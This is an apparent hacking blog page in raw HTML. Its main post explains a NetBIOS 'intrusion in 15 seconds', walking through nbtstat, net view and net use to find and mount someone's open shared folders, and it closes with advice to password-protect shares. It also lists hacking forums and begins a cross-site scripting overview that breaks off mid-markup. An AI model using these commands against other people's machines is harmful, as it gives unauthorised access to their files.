SHM-HACK: HOW TO HACK

SYSTEM INTRUSION IN 15 SECONDS~NETBIOS ATTACK

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="background-color: white; color: #008bcb; font-family: 'Josefin Sans'; font-size: 26px; font-stretch: ultra-condensed; font-weight: normal; line-height: 36px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; word-spacing: 2px;">
<span style="color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px;">System intrusion in 15 seconds, that's right it can be done. If you possess certain security flaws your system can be broken into in less than 15 seconds.</span></h3>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<strong>To begin this tutorial</strong> I'd like you to do the following. Connect to the Internet using your dial up account if you are on dial up. If you are on dedicated service like High Speed connections (i.e., Cable and DSL) then just proceed with the steps below.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows 98</b><br />Click <b>Start</b><br />Go to <b>Run</b><br />Click <b>Run</b> (It's a step by step tutorial) <b>:-)</b><br />Type <b>Winipcfg</b><br />Hit the <b>Enter Key</b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows XP</b><br />Click <b>Start</b><br />Go to <b>Run</b><br />Click <b>Run</b> (It's a step by step tutorial) <b>:-)</b><br />Type <b>cmd</b><br />Hit the <b>Enter Key</b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows 98</b><br />This should bring up a window that looks like the following:</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<img alt="Winipcfg" border="0" height="240" src="http://www.techiwarehouse.com/i/Articles/2003-09-291.gif" style="margin-left: 6px; margin-right: 6px;" width="363" /></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
What you should see under IP address is a number that looks something like this.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
192.168.1.151 (Your number may be different.)</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows XP</b><br />This should bring up a window that looks like the following:</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<img alt="cmd command" border="0" height="331" src="http://www.techiwarehouse.com/i/Articles/2003-09-295.gif" style="margin-left: 6px; margin-right: 6px;" width="668" /></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Now to see your IP address you must type in: <b>ipconfig</b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows 98</b><br />If you use Dial Up Internet Access then you will find your IP address under PPP adapter. If you have dedicated access you will find your IP address under another adapter name like (PCI Busmaster, SMC Adapter, etc.) You can see a list by clicking on the down arrow.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<img alt="Getting IP Info From Winipcfg" border="0" height="240" src="http://www.techiwarehouse.com/i/Articles/2003-09-292.gif" style="margin-left: 6px; margin-right: 6px;" width="363" /></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows XP</b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
At this point it won't matter much.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows 98</b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Once you have the IP address write it down, then close that window by clicking (OK) and do the following.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Click <b>Start</b><br />Go to <b>Run</b> (Click on <b>Run</b>)<br />Type command then Click <b>OK</b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
At this point you should see a screen that looks like this:</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<img alt="DOS Command Prompt Screen" border="0" height="359" src="http://www.techiwarehouse.com/i/Articles/2003-09-293.gif" style="margin-left: 6px; margin-right: 6px;" width="572" /></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows XP</b><br />We've already covered getting to the DOS Prompt.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>In Windows 98 and Windows XP</b><br />From here on, users of both OS will start to work very similarly.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Type the following at the Dos Prompt:</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b><span class="code" style="font-family: monospace; font-size: 12px;">Nbtstat -A IP address</span></b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
For example: <span class="code" style="font-family: monospace; font-size: 12px;">Nbtstat -A 192.168.1.151</span></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
(Please note that you must type the A in capitol letters.)</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
This will give you a read out that looks like this:</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
</div>
<table align="center" bgcolor="#fafafa" border="0" cellpadding="2" cellspacing="2" style="color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;"><tbody>
<tr><td colspan="3"><div align="center">
NetBIOS Remote Machine Name Table</div>
</td></tr>
<tr><td>Name</td><td>Type</td><td>Status</td></tr>
<tr><td colspan="3"><hr style="border-bottom-color: gray; border-style: none none dashed;" />
</td></tr>
<tr><td>J-1                            <00></td><td>UNIQUE</td><td>Registered</td></tr>
<tr><td>WORK                    <00></td><td>GROUP</td><td>Registered</td></tr>
<tr><td>J-1                            <03></td><td>UNIQUE</td><td>Registered</td></tr>
<tr><td>J-1                            <20></td><td>GROUP</td><td>Registered</td></tr>
<tr><td>WORK                    <1E></td><td>UNIQUE</td><td>Registered</td></tr>
<tr><td>WORK                    <1D></td><td>UNIQUE</td><td>Registered</td></tr>
<tr><td>__MSBROWSE__.<01></td><td>GROUP</td><td>Registered</td></tr>
</tbody></table>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
(Again info has been omitted due to privacy reasons)</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
The numbers in the <> are hex code values. What we are interested in is the "Hex Code" number of <20>. If you do not see a hex code of <20> in the list that's a good thing. If you do have a hex code <20> then you may have cause for concern. Now you're probably confused about this so I'll explain.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
A hex code of <20> means you have file and printer sharing turned on. This is how a "hacker" would check to see if you have "file and printer sharing" turned on. If he/she becomes aware of the fact that you do have "file and printer sharing" turned on then they would proceed to attempt to gain access to your system.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
(Note: To exit out of the DOS prompt Window, Type Exit and hit Enter)</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
I'll show you now how that information can be used to gain access to your system.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
A potential hacker would do a scan on a range of IP address for systems with "File and Printer Sharing" turned on. Once they have encountered a system with sharing turned on the next step would be to find out what is being shared.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
This is how:</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Net view \\<insert here="" ip_address=""></insert></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Our potential hacker would then get a response that looks something like this.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Shared resources at \\ip_address</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
</div>
<table align="center" bgcolor="#fafafa" border="0" cellpadding="2" cellspacing="2" style="color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;"><tbody>
<tr><td>Sharename</td><td>Type</td><td>Comment</td></tr>
<tr><td colspan="3"><hr style="border-bottom-color: gray; border-style: none none dashed;" />
</td></tr>
<tr><td>My Documents</td><td>Disk</td><td> </td></tr>
<tr><td>TEMP</td><td>Disk</td><td> </td></tr>
</tbody></table>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
The command completed successfully.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
This shows the hacker that his potential victim has their My Documents Folder shared and their Temp directory shared. For the hacker to then get access to those folders his next command will be.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
<b>Net use \\insert IP address here\temp</b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
If all goes well for the hacker, he/she will then get a response of (The command was completed successfully.)</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
At this point the hacker now has access to the TEMP directory of his victim.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Q. The approximate time it takes for the average hacker to do this attack?</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
R. 15 seconds or less.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Not a lot of time to gain access to your machine is it? How many of you had "File and Printer Sharing" turned on?</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Ladies and Gentlemen: This is called a NetBIOS attack. If you are running a home network then the chances are you have file and printer sharing turned on. This may not be the case for all of you but I'm sure there are quite a number of you who probably do. If you are sharing resources <b>please password protect the directories</b>.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Any shared directory you have on your system within your network will have a hand holding the folder. This hand icon looks like this in Windows 98:<br /><img alt="Shared Folder Icon" border="0" height="41" src="http://www.techiwarehouse.com/i/Articles/2003-09-294.gif" style="margin-left: 6px; margin-right: 6px;" width="41" /><br />and this in Windows XP:<br /><img alt="Shared Folder Icon" border="0" height="40" src="http://www.techiwarehouse.com/i/Articles/2003-09-296.gif" style="margin-left: 6px; margin-right: 6px;" width="43" /></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
You can check to find which folders are shared through Windows Explorer.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Click On <b>Start</b><br />Scroll Up to <b>Programs</b></div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
At this point you will see a listing of all the different programs on your system Find Windows Explorer and look for any folders that look like the above picture.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
Once you have found those folders password protect them. Don't worry I'll show you how to accomplish this later on in a visual step by step instruction format.</div>
<div style="background-color: white; color: #444444; font-family: Dosis, serif; font-size: 16px; line-height: 26px; word-spacing: 2px;">
NetBIOS is one of the older forms of system attacks that occur. It is usually overlooked because most systems are protected against it. Recently there has been an increase of NetBIOS Attacks.</div>
</div>

HOW TO HACK SYSTEM INTRUSION IN 15 SECONDS~NETBIOS ATTACK

System intrusion in 15 seconds, that's right it can be done. If you possess certain security flaws your system can be broken into in l...

KEEP LEARNING.!

Unknown 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.85pt; margin-left: 0.5pt; margin-right: 51.5pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img height="426" src="https://orlandoespinosa.files.wordpress.com/2014/05/keep-learning-orlando-espinosa3.jpg" width="640" /></span><br />
<span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Below is a list I put together of some of the best hacking related websites on the internet. </span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-top: 0pt;">
<a href="http://www.hackthissite.org/" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">HackThisSite</span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">- Great site for continued learning in web hacking. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-top: 0pt;">
<a href="http://www.hellboundhackers.org/" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">HellBound Hackers</span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">- Another mainly web hacking related website. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-top: 0pt;">
<a href="https://www.astalavista.net/index.php?adID=6344" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Astalavista</span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">- Astalavista is a community full of security professionals ready to help you. It also has a large database of security papers and tools. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-top: 0pt;">
<a href="http://www.darkmindz.com/" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">DarkMindz</span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">- A large hacking related community that constantly provides informative information on the forum, security papers, and source code. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 12.1pt; margin-top: 0pt;">
<a href="http://www.blackhat-forums.com/" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Black-Hat Forums</span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">- A great hacking related forum full of many knowledgeable members. </span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.8pt; margin-left: 0.5pt; margin-right: 36.6pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Since hacking and programming go together like peanut butter and jelly, below I have a list of a few great programming forums. </span></div>
<span id="docs-internal-guid-992797f7-8986-405d-41dd-cada99a58107"></span><br />
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 2.75pt; margin-top: 0pt;">
<a href="http://www.dreamincode.net/" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"></dream.in.code></span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 2.75pt; margin-top: 0pt;">
<a href="http://www.programmingforums.org/" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Programming Forums</span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 2.75pt; margin-top: 0pt;">
<a href="http://www.go4expert.com/" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Go4Expert</span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 2.75pt; margin-top: 0pt;">
<a href="http://forum.codecall.net/" style="text-decoration: none;"><span style="background-color: transparent; color: blue; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">CodeCall</span><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
</li>
</ul>
</div>

HOW TO HACK KEEP LEARNING.!

Below is a list I put together of some of the best hacking related websites on the internet. HackThisSite - Great site for continued ...

WEB HACKING

Unknown 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="line-height: 1.25; margin-bottom: 13.05pt; margin-left: 0.5pt; margin-right: 40.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">With the Web 2.0 era upon us, most websites are dynamic and allow the users to interact with the content. Many of the web applications that run these dynamic websites have security flaws. we will discuss some of the most popular forms of attacks against web applications. </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 13pt; margin-top: 0pt; text-align: center;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 24px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 12.15pt; margin-left: 0.5pt; margin-right: -0.75pt; margin-top: 0pt; text-align: center; text-indent: -0.5pt;">
<span style="background-color: transparent; color: #038900; font-family: Calibri; font-size: 24px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Cross Site Scripting </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.65pt; margin-left: 0.5pt; margin-right: 45.7pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which causes the application to do something it wasn’t intended to do. XSS attacks are very popular and some of the biggest websites have been affected by them including the FBI, CNN, Ebay, Apple, Microsft, and AOL. Some website features commonly vulnerable to XSS attacks are: </span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Search Engines </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Login Forms </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 12.1pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Comment Fields </span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.2pt; margin-left: 0.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There are three types of XSS attacks: </span></div>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 50.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Local – Local XSS attacks are by far the rarest and the hardest to pull off. This attack requires an exploit for a browser vulnerability. With this type of attack, the hacker can install worms, spambots, and backdoors onto your computer. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.24; margin-bottom: 2.1pt; margin-right: 50.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Non-Persistent – Non-persistent attacks are the most common types of attack and don’t harm the actual website. Non-persistent attacks occur when </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">-</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a scripting language that is used for client-side web development.</span><span style="background-color: 